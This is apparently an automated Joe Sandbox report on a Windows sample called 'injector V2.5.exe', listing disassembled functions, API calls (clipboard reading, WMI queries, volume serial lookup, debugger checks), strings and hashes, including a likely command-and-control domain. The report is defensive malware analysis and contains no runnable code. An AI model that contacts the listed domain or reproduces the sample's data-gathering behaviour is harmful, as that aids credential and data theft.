Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 507738891ba6b25e576b98afd431d28e03af80b38d1db0edf54f0c0c9ee410a6
Instruction ID: 12d92b183119b71e6ad47d4cc7f8598abb6e544062f5b1b315ee1bfb4c76b93a
Opcode Fuzzy Hash: 507738891ba6b25e576b98afd431d28e03af80b38d1db0edf54f0c0c9ee410a6
Instruction Fuzzy Hash: 0011E1A2511A167E671137729CCEE6F6EEDDE86396B1004E4FC02A2102EEB1CE059575

Function 00B54400 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000), ref: 00B54417
GetLastError.KERNEL32(?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000,?,?,?,00B512B7,00000000), ref: 00B54423

Part of subcall function 00B54480: CloseHandle.KERNEL32(FFFFFFFE,00B54433,?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000,?,?), ref: 00B54490

___initconout.LIBCMT ref: 00B54433

Part of subcall function 00B54455: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B543F1,00B53BCF,?,?,00B51971,?,00000000,00000000,?), ref: 00B54468

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000,?), ref: 00B54448

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 150d94e58e15aefaa22339708b0f3c6eb93d6b01ef7d051fb84f918a2386fa85
Instruction ID: 43e1885cc9900822d50aae56e1f10bc73f010811f840e38796b0312f8d1d34ac
Opcode Fuzzy Hash: 150d94e58e15aefaa22339708b0f3c6eb93d6b01ef7d051fb84f918a2386fa85
Instruction Fuzzy Hash: 6AF09836540215BFCF221FD5AC09B993F6AEB087A6F054190FE1896230DF7288A0EB90

Function 00B5225C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B52265

Strings

csm, xrefs: 00B52287
csm, xrefs: 00B522F8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: d5c06981bfc36291de2505b97a9cda873a24bd7453249828bd61b9ba05bc7eb6
Instruction ID: 40a31173d2aec64bc69540581e6911f60949990bdecf3b5e977b2c018a296dfd
Opcode Fuzzy Hash: d5c06981bfc36291de2505b97a9cda873a24bd7453249828bd61b9ba05bc7eb6
Instruction Fuzzy Hash: 2231CF36502205DFCF228F50CC40B6E7BA5FF0A316F1841DAFC584A121C336C9AADB85

Analysis Process: injector V2.5.exePID: 4928, Parent PID: 3608COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.5%
Total number of Nodes:	206
Total number of Limit Nodes:	4

Executed Functions

Function 00439B70 Relevance: 26.9, APIs: 11, Strings: 4, Instructions: 614
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00444678,00000000,00000001,00444668,00000000), ref: 00439C58
SysAllocString.OLEAUT32(13451142), ref: 00439D0D
CoSetProxyBlanket.COMBASE(00007D7C,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00439D57
SysAllocString.OLEAUT32(19C51BC5), ref: 00439DB4
SysAllocString.OLEAUT32(19C51BC5), ref: 00439E53
VariantInit.OLEAUT32(?), ref: 00439EC1
VariantClear.OLEAUT32(?), ref: 0043A15E
SysFreeString.OLEAUT32(?), ref: 0043A182
SysFreeString.OLEAUT32(?), ref: 0043A188
SysFreeString.OLEAUT32(?), ref: 0043A19C
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,99479BB7,00000000,00000000,00000000,00000000), ref: 0043A1CD

Strings

57, xrefs: 00439DE6
\, xrefs: 00439C15
C, xrefs: 00439C0D
=e3g, xrefs: 00439C7E

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: =e3g$C$\$57
API String ID: 2573436264-28043463
Opcode ID: 10b567a2692ca6e1ed1829fea8fbbac440700af513a7ae008837dccd8f80b3cf
Instruction ID: b12a140fe6d6408d223cd47253e56faaa9f3f1c3f18fc9839fc14b7d6c2cf08d
Opcode Fuzzy Hash: 10b567a2692ca6e1ed1829fea8fbbac440700af513a7ae008837dccd8f80b3cf
Instruction Fuzzy Hash: 85223F72A483119BD7248F24CC4176BBBE5EF89714F148A2EF8959B2C0D778D905CB8A

Function 00408FA0 Relevance: 7.7, APIs: 5, Instructions: 184
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408FC2
GetCurrentThreadId.KERNEL32 ref: 00408FD5
GetCurrentProcessId.KERNEL32 ref: 00408FDD
GetForegroundWindow.USER32 ref: 0040915C
ExitProcess.KERNEL32 ref: 004091C4

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: a705982eba4f8f2d09f5b437bbf37de4480f7a918adec5843908818670225285
Instruction ID: df307e844b70b0a1f4aecca787a5c544b5e38e704fd3e829504f4c39917f94b4
Opcode Fuzzy Hash: a705982eba4f8f2d09f5b437bbf37de4480f7a918adec5843908818670225285
Instruction Fuzzy Hash: A3510973B043155BC70CAFA8CC9636AF6D6ABC8714F0E853EA894DB3D1EA789C044795

Function 0040CF82 Relevance: 6.6, Strings: 5, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F5DEADD4C3E4B5B74AFF5ADEC9E6BD77, xrefs: 0040CFB1
QW, xrefs: 0040D1D2
U7[, xrefs: 0040D1D9
GVWv, xrefs: 0040D035
librari-night.sbs, xrefs: 0040D31A

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: F5DEADD4C3E4B5B74AFF5ADEC9E6BD77$GVWv$librari-night.sbs$QW$U7[
API String ID: 0-3659758271
Opcode ID: d664edfcc0ef7abe299e126a1104d6d1c8b4b938cd66759c5ecb9563350e4580
Instruction ID: 1f372396b4670dcfa468398e87f10cb4c486c55112f5b6038a055d3571dd4266
Opcode Fuzzy Hash: d664edfcc0ef7abe299e126a1104d6d1c8b4b938cd66759c5ecb9563350e4580
Instruction Fuzzy Hash: CDA107B56007818FD315CF29C891B62BBE1EF66310F2A85ADD0D68F7A2D738D806CB54

Function 004251E0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 486
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<=, xrefs: 004257BD
/SB, xrefs: 00425840, 0042585C

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: /SB$<=
API String ID: 0-491382847
Opcode ID: c888f38bb739e0c2553ef12911f30f1cf85fc8de16b323ebd9cbd027a09d05ba
Instruction ID: 995443a2f928c703a78138b241af00773a5b73620a1b8667a21179c4f3636e01
Opcode Fuzzy Hash: c888f38bb739e0c2553ef12911f30f1cf85fc8de16b323ebd9cbd027a09d05ba
Instruction Fuzzy Hash: 41F1A7B46083909FE310DF25E89162FBBF1EF92354F44892DF5C59B291D7788806CB9A

Function 0040DD2B Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040DD3B

Strings

librari-night.sbs, xrefs: 0040E0BC
IK, xrefs: 0040DF71

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Uninitialize
String ID: librari-night.sbs$IK
API String ID: 3861434553-2771342554
Opcode ID: 67c7073d86484a4ce9609fb0cd878a87cfb6a811387be44cac6132087faa4ed7
Instruction ID: 1f6cc4740e552a2cb060ab705c111998680bbd669b24ad068797bc7423acbed1
Opcode Fuzzy Hash: 67c7073d86484a4ce9609fb0cd878a87cfb6a811387be44cac6132087faa4ed7
Instruction Fuzzy Hash: 82B1F271605B829FD319CF35C4A0262BFA1FFA7300F18826DC0D64BB95C739A816CB95

Function 00409D80 Relevance: 4.1, Strings: 3, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F5DEADD4C3E4B5B74AFF5ADEC9E6BD77, xrefs: 00409E36
[5], xrefs: 00409FFD
T, xrefs: 00409F61

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: F5DEADD4C3E4B5B74AFF5ADEC9E6BD77$T$[5]
API String ID: 0-3703786218
Opcode ID: 8d8c258e38e4277b3b45250506bdce6ef36cede89dec5a79bcc6374f8b6e18e0
Instruction ID: 8f4bdf5d16c9c2d546d54f3c6f4ec71153cf5cc2fc1aca937f1041ca1bbf6e96
Opcode Fuzzy Hash: 8d8c258e38e4277b3b45250506bdce6ef36cede89dec5a79bcc6374f8b6e18e0
Instruction Fuzzy Hash: 24B1F0B01083808FE314DF25D891A6BBBE5EB92318F14892DE1D59B392D779C84ACB57

Function 00440E40 Relevance: 2.6, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00440EFE
Pt1, xrefs: 00440FA0

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: @$Pt1
API String ID: 0-1130223541
Opcode ID: e9700b4b45cf00256351c57a55995cf3165105985d229c13d081b9ddf8767056
Instruction ID: 3b96cd8c00d660fecdf5ffcb71e02195ff58b354c3115b327a8482f9e356b869
Opcode Fuzzy Hash: e9700b4b45cf00256351c57a55995cf3165105985d229c13d081b9ddf8767056
Instruction Fuzzy Hash: 364138B2A143008BD714CF54DC96B2FB6E1EFD5318F18892DE6855B3D1E3788818879A

Function 0040A210 Relevance: 2.6, Strings: 2, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

wq, xrefs: 0040A2A9
ps, xrefs: 0040A2B1

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: ps$wq
API String ID: 0-14304199
Opcode ID: 836d7e778ad7567a485cedb3d972227d3ad79c2e24925e3b1eef8f231affeee0
Instruction ID: 83fd5b6b3e6089e8b36cb791e143624f13b196c6ff22f0ffa32a903d6d8b40a6
Opcode Fuzzy Hash: 836d7e778ad7567a485cedb3d972227d3ad79c2e24925e3b1eef8f231affeee0
Instruction Fuzzy Hash: BF318BB3A0A3514FE318CF21EC4475B7B93EBC6304F19443CD4C12B245DA789A058797

Function 0043E730 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00441182,005C003F,00000008,00000018,?), ref: 0043E75E

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00442140 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 044ed3062513c8418d971257276b09ab7cfaded0d577b38fcb0c8b8ddc6286a6
Instruction ID: 0c372610f353c8605f5e7fd7bba33ebd5ab0f652ef33fd65444eca90d4c39493
Opcode Fuzzy Hash: 044ed3062513c8418d971257276b09ab7cfaded0d577b38fcb0c8b8ddc6286a6
Instruction Fuzzy Hash: 3E918872A087118BD318CF24D89162BF7E2FFD5314F19853EE9965B391D6B8AC01CB86

Function 0040CA52 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec3836bce5497a66b8f94ee4e71b0f16e8bca157487e32a3c7f418225fb72d93
Instruction ID: 2b0430c271c9b5eae8cb4bce8db70ca11b03d7caf136ae99abfe995133d3dde6
Opcode Fuzzy Hash: ec3836bce5497a66b8f94ee4e71b0f16e8bca157487e32a3c7f418225fb72d93
Instruction Fuzzy Hash: 7DD0C93D549440CFC786CFA4FDA64B9B678EB0F2057142035E643F32A0C63098098A5E

Function 0040CD42 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b0b7c5971dac2479500af13eefb4f5b6c1a49e249cd5cb8b50aa8d0d297101
Instruction ID: 3e2cdea992486101f34cf5083b39ee38ece70d7193610c8e0699b2112366faae
Opcode Fuzzy Hash: 61b0b7c5971dac2479500af13eefb4f5b6c1a49e249cd5cb8b50aa8d0d297101
Instruction Fuzzy Hash: 6DD09E795454408BC7469FA4FD9A479B638EB4F6157046024E542E32A0C62054098B2D

Function 0040C991 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1322d097e5907d7e55f5e0df6a24c851ad753793f8c9f6c63ed275507782845
Instruction ID: 99e4cf4108bdef78bc6d4e55a13f18f0ae0d33f48a2b74cd41bf2555b8a9b505
Opcode Fuzzy Hash: c1322d097e5907d7e55f5e0df6a24c851ad753793f8c9f6c63ed275507782845
Instruction Fuzzy Hash: 35D01238548040CFC745CF54FD92578F778AB0F3057102035D643F32A0C530A8088A0D

Function 0040C916 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133aae2ae5085d40c7b83a781516660c9fb4f57316b28fe5cd73c2ccec925a5d
Instruction ID: b0d62b176e0f3165092ce7e9369562274ab6ad861ba434518bc02396fa9688a8
Opcode Fuzzy Hash: 133aae2ae5085d40c7b83a781516660c9fb4f57316b28fe5cd73c2ccec925a5d
Instruction Fuzzy Hash: 1FC04C38648140CAC244CF54B9A2570A668574F60971130398657F3291C56094058A4E

Function 0043C3F0 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043C481

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: dfa04b971be56a3f496434651394ba16dcfc8b17bbb23839e04d0d3b502ff23c
Instruction ID: 111e647c145c5c6d903aa5d72b1bb2868f15d56f955ecf3101938e586af64af9
Opcode Fuzzy Hash: dfa04b971be56a3f496434651394ba16dcfc8b17bbb23839e04d0d3b502ff23c
Instruction Fuzzy Hash: A201647BE1422047C324DB29AC92627BBCAEBC8326F1A817DE8C86BB80D5354C0187D1

Function 0043C380 Relevance: 1.5, APIs: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0043C3D7

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 57dfbf7ae8b9c37702835af5e25cb6159b62ed1d8d311c8576f461731b9a2958
Instruction ID: 2ebc20970ae16cb68a85b1019dd10c58e6d526718b52d903feeca6e90b438f18
Opcode Fuzzy Hash: 57dfbf7ae8b9c37702835af5e25cb6159b62ed1d8d311c8576f461731b9a2958
Instruction Fuzzy Hash: 2BF027315286604BD3049728EC90B7B7E959FAA215F14846CE8D51B79AD9204C56CB93

Function 0040CF44 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CF56

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: affde1bad8182852e4cd21517175da01bad444f3f9fc92db70567a123aa16cc1
Instruction ID: 41b6cfea10fe4551602fae9163690755373fa1872f85b47ca5d4b6a8109e8c35
Opcode Fuzzy Hash: affde1bad8182852e4cd21517175da01bad444f3f9fc92db70567a123aa16cc1
Instruction Fuzzy Hash: 44E05E39BC834067F6254718EC43F84324253C2B21F388324B311EE7D8CAF8A502460C

Non-executed Functions

Function 00409940 Relevance: 10.4, Strings: 8, Instructions: 404COMMON

Download Yara Rule

Strings

vpnv, xrefs: 00409A91
L, xrefs: 00409CBF
JASI, xrefs: 00409A49
xtjv, xrefs: 00409A79
i}kt, xrefs: 00409A61
J), xrefs: 00409AB1
d, xrefs: 00409C5A
wuqt, xrefs: 00409A59

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: J)$JASI$L$d$i}kt$vpnv$wuqt$xtjv
API String ID: 0-910791096
Opcode ID: 2ec4ca88ff2d5aa5af5594b98cd87ae6a10c0329ed7272a3d9ab2dea513f8b43
Instruction ID: 61801bfd89876edb2463504a4c74d84c79e256b248065fad792b73f7bee4edb5
Opcode Fuzzy Hash: 2ec4ca88ff2d5aa5af5594b98cd87ae6a10c0329ed7272a3d9ab2dea513f8b43
Instruction Fuzzy Hash: 73B1F37164C3918BD3218F2994A036BFFE0AFD3740F184A6DE4D55B392C379894ACB96

Function 00434B70 Relevance: 9.2, APIs: 6, Instructions: 156clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00434B92
GetWindowLongW.USER32 ref: 00434BBD
GetClipboardData.USER32 ref: 00434BCD
CloseClipboard.USER32 ref: 00434D58

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 384f96128a328fc7c87953e0083ad73078b807d0ac5559575d985810506fa819
Instruction ID: 9c4d3531f4a974c9cb7c531ea8ebd4f342171b214b38d49ff762de2dd6fc903f
Opcode Fuzzy Hash: 384f96128a328fc7c87953e0083ad73078b807d0ac5559575d985810506fa819
Instruction Fuzzy Hash: CC5136B1D04B518BC710AB7CD84539EBFA0AB46314F09873AD8E49B3C1D338A91187D7

Function 004202F0 Relevance: 8.3, Strings: 6, Instructions: 838COMMON

Download Yara Rule

Strings

uwIt, xrefs: 00420622
[`Fz, xrefs: 00420645
|dyh, xrefs: 00420664
kPTV, xrefs: 004206B4
o{So, xrefs: 0042060D
pdii, xrefs: 004205FF

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: [`Fz$kPTV$o{So$pdii$uwIt$|dyh
API String ID: 0-3714002177
Opcode ID: 88f6abfbbee54edd5f7a388fe6f33cab86e40b814a56af5e2b7c7ba76f2a55de
Instruction ID: bf03b88ff62df5432f1dc3f85db82afbc6545c63de8c46ca4a00c2da7cdac4b2
Opcode Fuzzy Hash: 88f6abfbbee54edd5f7a388fe6f33cab86e40b814a56af5e2b7c7ba76f2a55de
Instruction Fuzzy Hash: 16520F71604B518FC731CF39D880617BBE2BF96314F588A6ED4E68BB92D738A406CB54

Function 00428530 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 338COMMON

Download Yara Rule

Strings

PQ, xrefs: 00429005
G0w, xrefs: 00429047

Memory Dump Source

Source File: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: G0w$PQ
API String ID: 0-4120197096
Opcode ID: e5ebacef2600d9c26a7e9012af8447629990bb12c1cf384527168c1a49cc6a74
Instruction ID: 897f4262f007e60a444c41210f1be547cfde9536a9330eb901eb7ed26c8658e5
Opcode Fuzzy Hash: e5ebacef2600d9c26a7e9012af8447629990bb12c1cf384527168c1a49cc6a74
Instruction Fuzzy Hash: 6CB114B56083508BD3209F25EC8575BBBE2EFD2304F14892DE5C49B355EB788906CB87

Function 00B4F680 Relevance: 6.3, APIs: 4, Instructions: 291fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4EB3E: HeapAlloc.KERNEL32(00000008,?,00000000,?,00B4CD28,00000001,00000364,00000000,FFFFFFFF,000000FF,?,?,00B4E421,00B4DC80), ref: 00B4EB7F

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B4F821
FindNextFileW.KERNEL32(00000000,?), ref: 00B4F915
FindClose.KERNEL32(00000000), ref: 00B4F954
FindClose.KERNEL32(00000000), ref: 00B4F987

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 6bd40e9fe17bc5739f17ae36b7b0b574dfe9b9849a904791179c580e55637d64
Instruction ID: 662f6c41c5cede628a7c8078034f5fcfa6c2936ac0f45f96d30f1d670f3842ad
Opcode Fuzzy Hash: 6bd40e9fe17bc5739f17ae36b7b0b574dfe9b9849a904791179c580e55637d64
Instruction Fuzzy Hash: 3591E77190525AAFDF24AF28DC89ABEBBF9DF45304F1441E9E40997211DA358F81AF10

Function 00B496AF Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B496BB
IsDebuggerPresent.KERNEL32 ref: 00B49787
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B497A7
UnhandledExceptionFilter.KERNEL32(?), ref: 00B497B1

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3eb1fcac3bba856d3eb4b39082b71cb6ea4b334ed7d168fd5e985e099eff3e37
Instruction ID: ca03c3964246066d95ffd6abfea1d31a0c15c33ffc1fe09476ad374cbbd18999
Opcode Fuzzy Hash: 3eb1fcac3bba856d3eb4b39082b71cb6ea4b334ed7d168fd5e985e099eff3e37
Instruction Fuzzy Hash: 8C31E4B59453189BDB10EFA4D9897CDBBF8AF18300F1041EAE40DAB250EB719B859F45

Function 00441A90 Relevance: 1.6, Strings: 1, Instructions: 300COMMON

